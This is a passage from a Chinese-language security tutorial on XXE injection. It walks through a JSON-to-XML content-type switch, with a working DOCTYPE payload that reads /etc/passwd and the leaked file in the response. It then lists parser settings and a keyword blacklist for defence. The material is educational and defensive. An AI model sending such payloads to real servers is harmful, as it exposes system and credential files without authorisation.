當然,WXPayXmlUtil.java 中有這個 sdk 的配置項,能直接決定實驗的效果,當然后期的修復也是針對這里面進行修復的
http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false
整個源碼我打包好了已經上傳到我的百度雲,有興趣的童鞋可以運行一下感受:
鏈接:https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw 提取碼:xq1b
上面說過 java 中有一個 netdoc:/ 協議能代替 file:/// ,我現在來演示一下:
如圖所示:
實例三:JSON content-type XXE
正如我們所知道的,很多web和移動應用都基於客戶端-服務器交互模式的web通信服務。不管是SOAP還是RESTful,一般對於web服務來說,最常見的數據格式都是XML和JSON。盡管web服務可能在編程時只使用其中一種格式,但服務器卻可以接受開發人員並沒有預料到的其他數據格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊
原始請求和響應:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
現在我們嘗試將 Content-Type 修改為 application/xml
進一步請求和響應:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以發現服務器端是能處理 xml 數據的,於是我們就可以利用這個來進行攻擊
最終的請求和響應:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
六、XXE 如何防御
方案一:使用語言中推薦的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false);
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手動黑名單過濾(不推薦)
過濾關鍵詞:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
七、總結
對 XXE 漏洞做了一個重新的認識,對其中一些細節問題做了對應的實戰測試,重點在於 netdoc 的利用和 jar 協議的利用,這個 jar 協議的使用很神奇,網上的資料也比較少,我測試也花了很長的時間,希望有真實的案例能出現,利用方式還需要各位大師傅們的努力挖掘。
你的知識面,決定着你的攻擊面。
參考
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
http://www.freebuf.com/column/156863.html
http://www.freebuf.com/vuls/154415.html
https://xz.aliyun.com/t/2426
http://www.freebuf.com/articles/web/177979.html
http://www.freebuf.com/articles/web/126788.html
https://www.anquanke.com/post/id/86075
http://blog.nsfocus.net/xml-dtd-xxe/
http://www.freebuf.com/vuls/176837.html
https://xz.aliyun.com/t/2448
http://www.freebuf.com/articles/web/97833.html
https://xz.aliyun.com/t/2249
https://www.secpulse.com/archives/6256.html
https://blog.netspi.com/playing-content-type-xxe-json-endpoints/
https://xz.aliyun.com/t/122
https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/
https://blog.csdn.net/u012991692/article/details/80866826
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html